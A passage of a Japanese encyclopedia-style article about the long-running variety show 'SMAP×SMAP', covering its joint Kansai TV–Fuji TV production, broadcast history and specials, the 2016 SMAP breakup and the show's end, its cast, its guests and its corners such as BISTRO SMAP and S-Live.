年数回、メンバーの特別企画や特別編(関西テレビ制作)、[[生放送]]スペシャルなどが放送されていた。番組初期は、生放送を[[正月|新春]]・[[春]]・[[夏]]と3回程度行ってきたが、[[2000年代]]後半頃からは新春のみ行われていた。また、年末では[[1997年]][[12月31日]]に放送された年越しのスペシャルと、[[2000年]]12月の2週に渡っての『20世紀のスマスマベスト30』、[[2005年]](平成17年)[[12月26日]]に『もう一度見たい名場面リクエストスペシャル』が放送された。[[2010年代]]に入ってからは月に1回 - 3回程度、15分拡大版が放送された。[[2010年]]頃までは祝日や振替休日にあたる日に主に行っていたが、[[2011年]]頃からは祝日よりも平日のほうが視聴率が良かったこともあり、平日でも拡大版が増えた。そのため、[[2012年]]以降は祝日また振替休日は通常回になることが多かった。[[改編期]]には、21:00 - 23:18(23:24)の2時間半の拡大版が放送される傾向が多かった。
=== 共同制作について ===
本番組は、関西テレビとフジテレビの共同制作である<ref>{{Cite journal|和書|title=MEDIUM SPAN バラエティー / 田中猛彦|journal=新・調査情報passingtime|issue=4|publisher=東京放送|date=1997-03-01|pages=25|id={{NDLJP|3479794/14}}}}</ref>。関西テレビ側は、スポンサーセールス・全国系列局への番組送出・一部スタッフの支援・CM出し・提供クレジットの表示・アナウンス読みを担当する。一方、フジテレビ側は企画・収録・本編送りを担当する。生放送のスペシャルに関しては河田町→台場のフジテレビの本社スタジオからの映像を、西天満→扇町の関西テレビ本社マスターを一度経由してからネット回線に送出していた(そのため、番組中のテロップはフジテレビの副調整室から、提供クレジットは関西テレビのマスターからそれぞれ出していた)。番組が終了した現在も『[[R-1グランプリ]]』決勝戦において同様にこの手法を行っている。ただし、スペシャル回の一部、その年の年内最後、最初の放送
、最終回など一部放送回はフジテレビの本社マスターから直接番組送出を行っていた。
このような体制となった経緯について、番組開始当時のゼネラルプロデューサー(制作)の[[佐藤義和]]によれば、以前より『[[夢がMORI MORI]]』や『[[SMAPのがんばりましょう]]』を制作してきたフジテレビが、[[1995年]]10月よりSMAPをメインとするバラエティ番組を開始させる計画だったところ、当時の自社制作枠に空きが無いため実現しなかったことに起因する。これに対し、当時のフジテレビ編成局長[[重村一]]の考案で、関西テレビ制作の火曜22時バラエティ番組枠を月曜22時枠に移動させた(同時に枠交換<ref group="注">[[福井テレビジョン放送|福井テレビ]]のみ火曜22時枠ドラマが遅れ放送のローカルセールス枠から同時ネットのネットセールス枠へ移行。</ref>という形で、それまでの関西テレビ制作[[関西テレビ制作・月曜夜10時枠の連続ドラマ|月曜22時ドラマ枠]]は、[[関西テレビ制作・火曜夜10時枠の連続ドラマ|火曜22時枠]]へ移動。その後関西テレビ制作の連続ドラマ枠は[[2021年]]10月より再び本番組が放送されていた月曜22時に移動した。)。その上で、関西テレビの制作枠にフジテレビが下請けになるスキームをとることで新番組の放送枠を確保した<ref>[https://web.archive.org/web/20140221110137/http://5l-web.com/column-satochan/satochan63.html 佐藤義和の私のテレビ史「SMAP×SMAPの誕生」]</ref>。本番組の発局が関西テレビなのはこのため<ref group="注">同様の番組に『[[EXILE魂]]』や『[[サワコの朝]]』([[TBSテレビ|TBS]]・[[毎日放送|MBS]]共同制作)などがある。</ref>で、制作クレジットも「関西テレビ、フジテレビ」→「8 カンテレ、フジテレビ」となっている(一貫して[[目玉マーク]]はなし)。
[[2004年]](平成16年)3月には、番組内のCM放送時に[[サブリミナル効果]]を引き起こす映像があったと『[[週刊現代]]』が報じた<ref>「フジ『SMAP×SMAP』にサブリミナル“洗脳”CM疑惑!」 週刊現代、2004年3月27日号。</ref>。これは関西テレビが番組の送出を行っており、フジテレビは関西テレビからの送出を受ける立場であるため、放送されるCMも関西テレビのものが基準となる。しかし、地域によっては同じスポンサーでもCMを変えて放送することがあるため、その切り替え時に技術上発生したものである<ref group="注">この番組に限った事ではなく、ナショナルスポンサーの番組でもCMの差し替えが必要なものであれば、どんな番組であっても起こりうるものである。例えば『[[名探偵コナン (アニメ)|名探偵コナン]]』は同じく大阪の[[讀賣テレビ放送|読売テレビ]]が送出局となり、スポンサーに[[日本ガス協会]]がついているが、放送されるCMは大阪では[[大阪ガス]]が流れる。しかし、他の放送局ではそれぞれの地域のCMを大阪ガスのCMに被せるように流すため、読売テレビ以外の地方局では大阪ガスのロゴが見えることがある。</ref>。この記事が掲載されたことにより、同月15日、関西テレビは緊急会見を行った。当時の取締役[[千草宗一郎]]は「事実に反する記載で誹謗中傷にあたる」と反論。また、同誌編集長あてに、謝罪と回答を求める文書を内容証明郵便で送付したことを明らかにした。『週刊現代』からの事前の質問に対し関西テレビも同様に回答したというが、『週刊現代』は「サブリミナル疑惑」と誤った情報を掲載した。
=== フジテレビを代表する長寿番組 ===
2016年4月には、番組放送開始'''20周年'''を迎えたが、先述の通り2016年12月をもって終了となり、放送期間は約20年9ヶ月となった。これは、フジテレビ系列の[[ゴールデンタイム]]・[[プライムタイム]]にレギュラー放送されているバラエティ番組では、『[[とんねるずのみなさんのおかげでした]]』(1988年10月 - 2018年3月<ref group="注">ただし、『[[とんねるずのみなさんのおかげです]]』『[[ラスタとんねるず'94]]』『[[とんねるずの本汁でしょう!!]]』といった前身番組を含めた場合。</ref>)、『[[奇跡体験!アンビリバボー]]』(1997年10月 - )、『[[めちゃ×2イケてるッ!|めちゃ<sup>2</sup>イケてるッ!]]』(1996年10月 - 2018年3月)に続く放送期間であった。
=== 音楽バラエティ番組 ===
テレビ黎明期から続いていた[[お笑い]]と音楽コーナーが混在している伝統的な音楽バラエティ番組は、本番組終了の2016年以降は[[民放]]のゴールデンタイムや[[プライムタイム]]ではレギュラー放送されていない<ref>{{Cite web |url=https://news.mynavi.jp/article/20160919-smapsmap/ |title=『SMAP×SMAP』終了で消える「音楽×笑い」の灯 - クレイジーキャッツ、ドリフから受け継いだ歴史のバトン |publisher =[[マイナビニュース]]|date=2016-09-19|accessdate=2023-10-21}}</ref>{{efn2|ただし、お笑い要素のない一般的な音楽番組は『[[ミュージックステーション]]』が2023年現在も放送中。また、2020年より、『[[COUNTDOWN TV|CDTV ライブ!ライブ!]]』が[[TBSテレビ|TBS]]プライム帯→ゴールデンで放送を開始。}}。また、[[コント|コント番組]]もしばらく制作されていなかったが、2021年より同じフジテレビで若手芸人、俳優、女優などが主体の『[[新しいカギ]]』が特番を経てレギュラー放送されている。
== 番組の歴史 ==
{{右|
[[ファイル:Tokyo media city kinuta 2014.jpg|280px|thumb|[[番組]]開始当初から2007年から[[収録]]を行っていた「[[レモンスタジオ]]」がある[[東京メディアシティ]]([[東京都]][[世田谷区]][[砧 (世田谷区)|砧]])]]
[[ファイル:Wangan Studio.jpg|280px|thumb|番組末期まで収録が行われていた[[フジテレビ湾岸スタジオ]](写真は外観)]]
[[ファイル:Fuji TV headquarters and Aqua City Odaiba - 2006-05-03-2009-25-01.jpg|280px|thumb| 番組の[[生放送]]が行われる場合に使用されていたフジテレビ本社「[[FCGビル]]」(写真は外観)]]
}}
1996年4月15日 22:30 - 23:24に、番組の初回が放送され<ref group="注">22:24 - 22:30に別途『SMAP×SMAP coming soon』を放送。稲垣以外の5人が探偵、稲垣がマッドサイエンティストを演じるミニドラマ。最後は時限爆弾が入ったとされるアタッシュケースから鳩が飛び出して、ロート製薬のオープニングキャッチに繋がる。この日は木村主演の[[フジテレビ月曜9時枠の連続ドラマ|月9ドラマ]]『[[ロングバケーション (テレビドラマ)|ロングバケーション]]』が初回30分拡大だったため、30分遅れてスタートした。</ref>、[[視聴率]]は'''22.4%'''([[ビデオリサーチ]]調べ、[[関東地方|関東地区]]・世帯・リアルタイム)を記録した。
1996年5月27日まではオープニングにタイトルCGが存在した。第1回から同年5月20日まではその前にスタジオ前室の椅子に座っているメンバーが何かしら言い争いをした後、ラストに草彅が絶叫アトラクションに乗らされたり、前室の壁を突き破ってバンジーや飛び込み台で落とされ、悲鳴をあげながら「スマスマ〜」と叫んでOPに入る(この部分は別撮り)という流れがあった。タイトルCGは森の脱退を機に廃止され、その後2002年10月までは[[ロート製薬]]の[[オープニングキャッチ]]に番組タイトル(スペシャル・特別編の場合はそのタイトル)が入っていた事からそれがタイトルCGの代わりとしていた。2002年11月4日からは提供クレジットのみの表示となったためタイトルCGが復活していたが2004年に廃止された。なお、森在籍時のタイトルCGは最終回のオープニングとエンディングで再び放送されている。
同年7月22日、河田町のフジテレビ本社(当時)第6スタジオから「スマスマ夏休みスペシャル!生放送」と題して21:45(15分前倒しでスタート)から初の生放送スペシャルが行われた。[[中村玉緒]]をゲストに迎えて「生ビストロ」、「古畑拓三郎珍プレー祭り」(NG集)<ref group="注">この当時より森が映り込むシーンは編集で外した上で放送していた(放送が許されるようになった番組末期は編集されずそのまま)。</ref>、「涙のSMAP」の3本立てで放送し、終盤の「S-Live」では『青いイナズマ』をCG効果を使いながら生放送で披露した。
[[1997年]][[10月13日]]には『'''SMAP×SMAP '97 今夜は大阪から生スペシャル'''』と題して、同年[[10月1日]]に[[大阪府]]の[[西天満]]から[[扇町 (大阪市)|扇町]]へ移転したばかりの、制作局である関西テレビの本社スタジオから、引越し記念の生放送を行った。この回のゲストは[[上沼恵美子]](当時夫・[[上沼真平]]が同局に勤めていた)と[[赤井英和]]で、当時関西テレビのアナウンサーとして全国規模の知名度を得ていた[[桑原征平]](上沼と同じく[[1969年]]に入社)が、「涙のSMAP」の進行を特別に担当した。この回でSMAP全メンバーにより六角形のガラス<ref group="注">第1回から「S-Live」で使用していたティアドロップ型の電飾。1997年4月21日の放送で、2年目突入を機に新セットへ変更(この回は「SHAKE」歌唱後にCGでセットが炎上し崩壊、「ダイナマイト」のイントロで新しいセットが形成される演出があった。)されたためにお役御免となった。</ref> に描かれた巨大サインが社屋正面玄関に飾られた。2016年末の放送終了・グループ解散後は社屋内のアトリウムに移して2022年現在も引き続き展示されている。2022年現在はこれに加えて六角形ガラスに関する説明のパネルとメンバー全員から番組スタッフに送られた「BISTRO SMAP」のコーナーロゴが入ったお椀とフォーク・スプーンの食器セットも展示されている。
1997年[[12月31日]]から[[1998年]][[1月1日]]まで、19:00 - 20:00と23:45 - 翌0:45の2部構成で番組初の[[年越し]]スペシャルが生放送された。なお、番組が[[大晦日]]に放送されたのも初である。この日は『[[第48回NHK紅白歌合戦]]』([[日本放送協会|NHK]])の白組司会を中居が務めたり、SMAPも出場していることもあり、[[裏番組|裏]]被りを避けるために同番組の放送時間である20:00 - 23:45は他番組を放送。2部の放送開始時は中居以外の4人が登場し、中居は番組中にNHKから移動しながら、番組終盤のライブでギリギリ間に合って出演する形となった。
[[2000年]][[12月25日]]には、21:00 - 23:18に『'''SMAP×SMAP 20世紀のスマスマ初回からドーンと見せます ベスト30スペシャル'''』と題して、番組初の[[クリスマス]]にスペシャルが放送された。
[[2002年]][[1月14日]]生放送分では、不祥事で謹慎していた[[稲垣吾郎]]が番組に復帰。視聴率は'''34.2%'''(ビデオリサーチ調べ、関東地区・世帯・リアルタイム)を記録し、番組の歴代平均視聴率で最高の回となっている。
2002年[[9月9日]]放送分の1コーナー「今日は何の日?」やエンディングトークにおいて、メンバーが「『スマスマ』のオンエアー日とデビューの日が重なるのは初めて」と発言しているが、実際には開始間もない1996年9月9日にも番組が放送されている。
[[2005年]][[12月26日]]と[[2010年]][[1月4日]]には、19:00 - 23:24に、当時の過去最長となる264分(4時間24分)の拡大版が、それぞれ年末スペシャルと新春スペシャルで放送された。2005年12月26日には『'''SMAP×SMAP'05 歴史的瞬間全部見せます!! 史上最強の4時間半スペシャル!!!'''』と題して、当番組ではこれまで放送される事がなかった19時台・20時台に初めて放送され、さらに、2010年1月4日には『'''SMAP×SMAP お正月に生SMAP! 史上最長4時間半スペシャル'''』と題して、当番組史上初となる264分に渡る生放送を行った。また、[[香取慎吾]]は[[インフルエンザ]]のため欠席した<ref>[https://www.oricon.co.jp/news/72161/full/ SMAPの香取慎吾、インフルエンザでダウン] [[オリコン]]、2010年1月4日。</ref> が、エンディングに電話で生出演した。なお264分という放送時間は、後述する最終回に抜かれるまで歴代最長だった。
[[2007年]]1月1日には、21:00 - 23:30に『'''SMAP×SMAP 超豪華! 元旦スペシャル!!'''』と題して、番組初の[[元日]]放送となり、21時からのスペシャル版で放送した。なお、元日に放送があったのはこの年のみである。
収録はそれまで[[世田谷区]][[砧 (世田谷区)|砧]]にある[[東京メディアシティ]]・[[レモンスタジオ]]で行われていたが、[[2007年]]の[[フジテレビ湾岸スタジオ]]落成を機に、同スタジオ並びにフジテレビ本社スタジオ([[FCGビル]])へ移行した。
2008年[[4月14日]]・[[4月21日]]は、2週連続で2時間の拡大版(21:00 - 22:48)が放送された。これは、木村拓哉主演のドラマ『[[CHANGE (テレビドラマ)|CHANGE]]』が同年[[5月12日]]に放送開始であったことに伴うものである。また、番組の[[再放送]]は行われていなかったが、2010年[[4月17日]]にフジテレビと関西テレビで、スペシャルの事前番組として一部の回が再放送された。
[[2011年]][[3月11日]]の[[東日本大震災]]の発生以降の放送では、毎回エンディングでメンバーによる義援金や支援金の呼びかけを最終回まで行った。このメッセージは同じ映像の使い回しではなく、番組収録の度に新規に収録している。また、[[2016年]][[4月14日]]の[[熊本地震 (2016年)|熊本地震]]の発生後、5月30日までの放送では「フジネットワーク サザエさん募金」、6月6日以降は「熊本地震災害義援金」の呼びかけも合わせて行われている。
[[2013年]][[9月30日]]には、当番組と『[[おじゃMAP!!|おじゃマップ]]』をベースとしたSMAPが司会の特別番組『'''[[SMAP GO!GO!]]'''』が放送された。
[[2014年]][[7月26日]]・[[7月27日]]には、SMAPが総合司会を務める『'''[[FNS27時間テレビ (2014年)|武器はテレビ。 SMAP×FNS 27時間テレビ]]'''』が放送された。
[[2015年]][[4月6日]]より、SMAPのジャニーズ事務所の後輩である[[Kis-My-Ft2]]がメイン出演のバラエティ番組『[[キスマイBUSAIKU!?]]』が、毎週月曜23:00 - 23:30([[COOL TV]]枠)へ移動。これにより、当番組から直後に放送される『キスマイBUSAIKU!?』まで、ジャニーズ事務所所属グループの冠番組が連続で放送されることになった。
=== SMAP解散と番組の終焉 ===
{{See also|SMAP解散騒動}}
[[2016年]]1月に起きた「[[SMAP解散騒動]]」以降、一部週刊誌や『[[東京スポーツ]]』などのスポーツ紙などで[[打ち切り]]説が度々掲載されていたが、関西テレビの[[福井澄郎]][[社長]]や、フジテレビ及び同局[[亀山千広]]社長はそれぞれ打ち切りを公式に否定した<ref>{{Cite web|和書|url= https://news.livedoor.com/article/detail/11264641/ |title=フジテレビの4月改編 めちゃイケ、スマスマは継続へ |publisher= [[livedoor ニュース]] |date= 2016-03-07 |accessdate= 2016-03-13 }}</ref>。
同年[[1月18日]]の放送では、放送予定の内容の一部を急遽生放送に差し替え<ref>[https://www.sponichi.co.jp/entertainment/news/2016/01/18/kiji/K20160118011880510.html スマスマ きょう一部生放送 分裂回避へ謝罪と経緯説明] スポニチアネックス、2016年1月18日</ref>、メンバー全員が今回の騒動について謝罪した上で、グループの存続を発表した<ref>[https://www.sponichi.co.jp/entertainment/news/2016/01/18/kiji/K20160118011882500.html SMAP存続!スマスマ生出演で騒動決着 キムタク「前を見て…」] スポニチアネックス、2016年1月18日</ref>。なおこの日放送分の視聴率は、フジテレビでは'''31.2%'''(ビデオリサーチ調べ、関東地区・世帯・リアルタイム)、関西テレビでは'''29.7%'''(ビデオリサーチ、関西地区・世帯・リアルタイム)をそれぞれ記録した<ref name="smap_20160118">[https://www.sponichi.co.jp/entertainment/news/2016/01/19/kiji/K20160119011882050.html SMAP生謝罪「スマスマ」平均31.2%、瞬間最高37.2%の高視聴率] スポニチアネックス、2016年1月19日</ref>。
この番組は音楽番組以外でメンバー全員が揃って出演する数少ない場であったが、この騒動以降[[BISTRO SMAP]]を例外として全員が出演するコーナーが消滅、過去の映像を使用した特別編が増えて通常放送が大幅に減少した上、コーナーの観覧も廃止され収録後のVTRに音声をかぶせるようになる<ref>https://www.excite.co.jp/news/article/Cyzo_201608_4_30/</ref>。また、それ以前は改編期や年末年始、お盆やGW等含めても番組が休止されることはほとんどなかったが、この騒動以降は、改編期ではない時期であっても月に数回放送が休止されることが多くなった。
同年[[8月14日]]、レギュラー出演するSMAPが同年[[12月31日]]をもって解散することが事務所より発表された。これを受けフジテレビは、当番組も[[2016年]][[12月]]末をもって放送を終了することを同年[[8月17日]]に正式に発表した。
また、SMAPの解散発表後と当番組の年内の放送終了の発表後には、SMAPのファンを中心に番組ホームページに「どんな形でもいいから番組を続けてほしい」などといった、当番組の存続を望むコメントが多数寄せられた<ref>{{Cite web|和書|url= https://www.daily.co.jp/gossip/2016/08/16/0009395441.shtml |title= スマスマ 番組HPに視聴者の悲痛な声 「どんな形でも続けてほしい」続行望む |publisher= [[デイリースポーツ]] |date= 2016-08-16 |accessdate= 2016-08-21 }}</ref><ref>{{Cite web|和書|url= https://www.sankei.com/article/20160818-HSXAHHAOH5OIVNNOCA56HU2SUQ/ |title= 『スマスマ』終了にファン悲痛の叫び「番組続けて」5800件 |publisher= [[産経新聞]] |date= 2016-08-18 |accessdate= 2016-08-21 }}</ref>。
解散発表後最初の放送となった同年[[8月15日]]の放送の番組冒頭には全画面白バックに黒文字で「昨日、SMAPの活動についての発表がなされましたが、『SMAP×SMAP』の今後の対応につきましては近日中に視聴者の皆様に報告させていただきたいと思います。本日は予定通りの放送内容をお送り致します。」のテロップが25秒間にわたって表示された。そして、フジテレビ・関西テレビは17日、同番組について連名でマスコミ各社に[[ファクシミリ|FAX]]を送り、「解散に関する発表を受け、継続不可能と判断」として年内での終了を正式決定したと発表した<ref>フジ「スマスマ」年内終了を正式発表 「継続不可能と判断」20年の歴史に幕 スポーツニッポン、2016年8月17日</ref>。
翌週[[8月22日]]の放送では、番組のオープニングで第1回放送の「BISTRO SMAP」のVTRでスタートし、「世界に一つだけの花」を流しながら過去の名場面が流れ、「1996年にスタートしたSMAP×SMAPは放送20年を越えることが出来ました。'''そして、今年の年末をもってファイナルを迎えることになります。'''最終回まで全力で番組を作ってまいりますので応援よろしくお願いいたします。」というメッセージがテロップで表示された<ref>{{Cite web|和書|url= http://headlines.yahoo.co.jp/hl?a=20160822-00000358-oric-ent |title=
『スマスマ』冒頭に32秒メッセージ「最終回まで全力で」 初回VTRや名場面とともに |publisher= [[オリコン]] |date= 2016-08-22 |accessdate= 2016-08-23 }}</ref>。
同年[[12月19日]]の放送では、22:00 - 23:24に1時間半の拡大版で、当番組のメインコーナー「BISTRO SMAP」の最終回(最後のゲストはSMAPと親交が深い[[タモリ]]だった)が放送された<ref>{{Cite news|title=「ビストロSMAP」最後はタモリ来店、5人との交遊を秘蔵映像で振り返る|date=2016-12-18|work=お笑いナタリー|agency=ナタリー|publisher=ナタリー|url=https://natalie.mu/owarai/news/213544|accessdate=2018-05-25}}</ref>。
同年[[12月26日]]の放送では、18:30 - 23:18に5時間の拡大版で、『'''SMAP×SMAP 最終回'''』と題して、番組の最終回が放送された。
{{Main2|最終回|#最終回}}
== 出演者 ==
=== レギュラー ===
; メイン出演者
:* '''[[SMAP]]'''
:** [[中居正広]] {{Color|Pink|■}}ピンク(グループ活動時は青)
:** [[木村拓哉]] {{Color|Red|■}}赤
:** [[稲垣吾郎]]{{Color|Blue|■}}青 (グループ活動時はピンク)([[2001年]][[8月27日]]放送分から一時出演見合わせ、[[2002年]][[1月14日]]放送分から復帰。)
:** [[森且行]]{{Color|WhiteSmoke|■}}白 (番組開始当初から[[1996年]][[5月27日]]放送分までレギュラー出演。同年までメンバー。)
:** [[草彅剛]] {{Color|Yellow|■}}黄 ([[2009年]][[4月27日]]放送分から一時出演見合わせ、同年[[6月1日]]放送分から復帰。)
:** [[香取慎吾]]{{Color|Green|■}}緑
<small>※メンバーカラーは「BISTRO SMAP」やテロップなどで用いられている。</small><br /><small>※5人が揃って出演するコーナーは、原則中居の司会で進行する。</small>
:番組内でのメンバーの呼称は、中居は開始当初から一貫して「中居」と名字で呼称しているが、ほかの4人を名字で呼称するようになったのは2002年頃からで、それ以前は基本的に「(木村)'''拓哉'''」、「(稲垣)'''吾郎'''」、「(草彅)'''剛'''」、「(香取)'''慎吾'''」と下の名前で呼称していた。森が出演していた頃は、森も基本的に名字で呼称されていた。
=== 準レギュラー・常連ゲスト(出演回数多数のゲスト) ===
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* [[斎藤洋介]]
* [[柴田理恵]]
* [[横山めぐみ]]
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* [[おすぎ]]
* [[ピーコ]]
* [[片岡鶴太郎]]
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* [[勝村政信]]
* [[櫻井淳子]]
* [[YOU (タレント)|YOU]]
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* [[伊藤裕子]]
* [[近藤芳正]]
* [[戸田恵子]]
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* [[あのねのね]]
* [[白石美帆]]
* [[生瀬勝久]]
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* [[香里奈]]
* [[草野仁]]
* [[田中要次]]
{{col-break}}
ほか
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=== ゲスト ===
第1回放送のゲストは「[[BISTRO SMAP]]」に出演した当時のベテラン女優・[[大原麗子]](2009年逝去)。1996年4月から2016年12月までの20年9ヶ月の放送期間で当番組には、看板コーナー「BISTRO SMAP」や音楽コーナー「S-Live」を中心に、大物芸能人から若手・新人芸能人まで、国内から海外まで、幅広いジャンルの錚々たる芸能人や有名人が多数ゲスト出演している(下記参照)。
:;[[ジャニーズ事務所]]の先輩・後輩
:: [[近藤真彦]]、[[少年隊]]、[[KinKi Kids]]、[[岡田准一]]([[V6 (グループ)|V6]])、[[タッキー&翼]]、[[山下智久]](<small>元</small>[[NEWS (グループ)|NEWS]])、[[内博貴]](<small>元</small>NEWS/<small>元</small>[[関ジャニ∞]])、[[KAT-TUN]]、[[薮宏太]]・[[八乙女光]]([[Hey! Say! JUMP]])、[[Kis-My-Ft2]]、[[舞祭組]]、[[中山優馬]]、[[Sexy Zone]]、[[A.B.C-Z]]、[[ジャニーズJr.]]
:; SMAPと縁が深い[[お笑いタレント]]
:: [[いかりや長介]]・[[加藤茶]]・[[志村けん]]([[ザ・ドリフターズ]])、[[笑福亭鶴瓶]]、[[ビートたけし]]、[[タモリ]]、[[明石家さんま]]、[[島田紳助]]、[[とんねるず]]、[[松本人志]]・[[浜田雅功]]([[ダウンタウン (お笑いコンビ)|ダウンタウン]])、[[内村光良]]([[ウッチャンナンチャン]])、[[関根勤]]、[[ヒロミ]]、[[今田耕司]]、[[爆笑問題]]、[[さまぁ〜ず]]、[[雨上がり決死隊]]、[[ナインティナイン]]{{small|など}}
:; 海外の[[歌手]]
:: [[マイケル・ジャクソン]]、[[ジェームス・ブラウン]]、[[マドンナ (歌手)|マドンナ]]、[[カイリー・ミノーグ]]、[[スティービー・ワンダー]]、[[シンディ・ローパー]]、[[ライオネル・リッチー]]、[[ジャネット・ジャクソン]]、[[ボン・ジョヴィ]]、[[O-Zone]]、[[レディー・ガガ]]、[[マルーン5]]、[[テイラー・スウィフト]]、[[アヴリル・ラヴィーン]]、[[ジャスティン・ビーバー]]、[[アリアナ・グランデ]]、[[クール&ザ・ギャング]]、[[アース・ウインド&ファイアー]]、[[ダニエル・パウター]]、[[ベン・E・キング]]、[[キャロル・キング]]、[[ケイティ・ペリー]]、[[ファレル・ウィリアムス]]、[[リック・アストリー]]、[[チャーリー・プース]]、[[メーガン・トレイナー]]、[[カルチャー・クラブ]]、[[バナナラマ]]、[[スティング]]、[[東方神起]]、[[少女時代 (音楽グループ)|少女時代]]{{small|など}}
:; 海外の[[俳優]]・[[俳優#性別での分類|女優]]
:: [[ブラット・ピット]]、[[トム・クルーズ]]、[[ジャッキー・チェン]]、[[ウィル・スミス]]、[[キャメロン・ディアス]]、[[チェ・ジウ]]、[[リチャード・ギア]]、[[アラン・ドロン]]、[[ハリソン・フォード]]、[[ロバート・デ・ニーロ]]、[[アーノルド・シュワルツェネッガー]]、[[シャーロット・ケイト・フォックス]]{{small|など}}
:; 国内の歌手
:: [[北島三郎]]、[[沢田研二]]、[[小田和正]]、[[森進一]]、[[谷村新司]]、[[矢沢永吉]]、[[和田アキ子]]、[[忌野清志郎]]、[[松山千春]]、[[西城秀樹]]、[[郷ひろみ]]、[[CHAGE and ASKA]]、[[布袋寅泰]]、[[吉川晃司]]、[[稲葉浩志]]([[B'z]])、[[松任谷由実]]、[[長渕剛]]、[[久保田利伸]]、[[ピンク・レディー]]、[[中森明菜]]、[[松田聖子]]、[[小泉今日子]]、[[中山美穂]]、[[米米CLUB]]、[[プリンセス プリンセス|PRINCESS PRINCESS]]、[[THE ALFEE]]、[[TM NETWORK]]、[[DREAMS COME TRUE]]、[[チューリップ (バンド)|チューリップ]]、[[アン・ルイス]]、[[BARBEE BOYS]]、[[玉置浩二]]([[安全地帯 (ロックバンド)|安全地帯]])、[[佐野元春]]、[[徳永英明|德永英明]]、[[TUBE]]、[[東京スカパラダイスオーケストラ]]、[[GLAY]]、[[広瀬香美]]、[[JUDY AND MARY]]、[[ウルフルズ]]、[[シャ乱Q]]、[[エレファントカシマシ]]、[[TRF]]、[[DEEN]]、[[globe]]、[[安室奈美恵]]、[[倉木麻衣]]、[[宇多田ヒカル]]、[[浜崎あゆみ]]、[[access (音楽ユニット)|access]]、[[PUFFY]]、[[SPEED]]、[[MAX (音楽グループ)|MAX]]、[[岡本真夜]]、[[Every Little Thing]]、[[モーニング娘。]]、[[T.M.Revolution]]、[[氣志團]]、[[CHEMISTRY]]、[[Aqua Timez]]、[[Perfume]]、[[サカナクション]]、[[西野カナ]]、[[AKB48]]、[[ゆず (音楽グループ)|ゆず]]、[[いきものがかり]]、[[FUNKY MONKEY BABYS]]、[[EXILE]]、[[THE YELLOW MONKEY]]、[[ナオト・インティライミ]]、[[Sonar Pocket]]、[[ゴールデンボンバー (バンド)|ゴールデンボンバー]]、[[E-girls]]、[[SEKAI NO OWARI]]、[[きゃりーぱみゅぱみゅ]]、[[JUJU]]、[[藤巻亮太]]、[[平井堅]]、[[DAIGO]]、[[Superfly]]、[[絢香]]、[[秦基博]]、[[森山直太朗]]、[[RIP SLYME]]、[[ゲスの極み乙女。]]、[[MIYAVI]]、[[湘南乃風]]、[[水樹奈々]]、[[星野源]]、[[高橋優]]、[[chay]]、[[back number]]、[[水曜日のカンパネラ]]{{small|など}}
また、音楽コーナー「S-Live」でSMAPが新曲を披露する際、楽曲提供の新曲の[[作詞家|作詞者]]・[[作曲家|作曲者]]がゲスト出演して[[コラボレーション]]で披露することが多く、国内の[[音楽家|ミュージシャン]]も多数ゲスト出演している。「[[世界に一つだけの花]]」「[[We are SMAP!#収録内容|Love & Peace Inside?]]」は[[槇原敬之]]、「[[セロリ (曲)|セロリ]]」は[[山崎まさよし]]、「[[夜空ノムコウ]]」は[[スガシカオ]]、「[[We are SMAP!#収録内容|Trust]]」「[[This is love#収録曲|グラマラス]]」は[[小室哲哉]]、「[[Top Of The World/Amazing Discovery|Top Of The World]]」「[[Otherside/愛が止まるまでは|Otherside]]」は[[MIYAVI]]、「[[Otherside/愛が止まるまでは|愛が止まるまでは]]」は[[川谷絵音]]([[indigo la End]]/[[ゲスの極み乙女。]])などとコラボレーションして披露している。SMAPが自身の楽曲以外に、ゲスト側のアーティストの楽曲でもコラボレーションで披露している。また、コラボはしていないが「[[Top Of The World/Amazing Discovery|Amazing Discovery]]」を楽曲提供した[[中田ヤスタカ]]([[capsule]])や「[[華麗なる逆襲/ユーモアしちゃうよ|華麗なる逆襲]]」を楽曲提供した[[椎名林檎]]もゲスト出演している。2001年7月16日に出演した長渕剛は「BISTRO SMAP」「S-Live」の両コーナーに共にゲストで出演した。[[演歌歌手]]では北島三郎が1996年12月30日・2002年12月30日・2014年4月7日、[[森進一]]が2001年7月30日に出演した。他に、くまモンなどの[[ゆるキャラ]]、[[HIKAKIN]]などの[[YouTuber]]といった多岐のジャンルにわたる有名人がゲスト出演している。また、[[どぶろっく]]や[[クマムシ (お笑いコンビ)|クマムシ]]といった音楽活動をしているお笑いタレントもゲスト出演して「S-Live」でコラボレーションしている。さらに、芸能人に留まらず、[[政治家]]も多数ゲスト出演しており、[[石破茂]]や[[内閣総理大臣]]に就任前の[[小泉純一郎]]、[[安倍晋三]]、[[麻生太郎]]、[[ロシア]]の元[[大統領]]の[[ミハイル・ゴルバチョフ]]、[[東京都知事]]の[[小池百合子]]がゲスト出演した。[[石破茂]]は『SMAP×SMAP』最終回に際し、フジテレビ『[[バイキング (テレビ番組)|バイキング]]』コメンテーターとして出演時にコメントを寄せている。また、テレビ局の垣根を超えて、[[テレビ朝日]]の[[テレビアニメ|アニメ]]『[[ドラえもん (2005年のテレビアニメ)|ドラえもん]]』のキャラクターもゲスト出演している。
== 主なコーナー・企画 ==
=== BISTRO SMAP ===
: 当番組のメインコーナー。第1回放送から最終回まで一貫して続いた。
:{{see|BISTRO SMAP}}
=== S-Live ===
: 特殊な例を除き、番組の最後には歌のコーナーがある。初回のゲストは[[中森明菜]]<ref>[http://www.hochi.co.jp/entertainment/20161227-OHT1T50106.html ヘイセイ中島裕翔、SMAPは「いつまでもあこがれの先輩であることは変わらないです」] スポーツ報知 2016年12月27日</ref>。最後のゲストは[[椎名林檎]]。最多出演は8回の[[久保田利伸]]。主に「S-Live」というコーナータイトルで放送されている(その他にも「THE TRIBUTE SONGS」「SMAP最強カラオケメドレー」「SMA☆SMASH」「スマッピーズ」「メモリッピーズ」「音楽室」「踊るスマッピーズ」などのコーナータイトルが存在する)。他の[[音楽番組]]では滅多に歌われない[[シングル]]の[[A面/B面#A面曲とB面曲の違い|カップリング]]曲や[[アルバム]]曲、個人のソロ曲などが披露されることもある。
: また、評判が高かったコラボは、同局で放送されている大型[[音楽番組]]『[[FNS歌謡祭]]』『[[FNSうたの夏まつり]]』でも披露される場合もある。
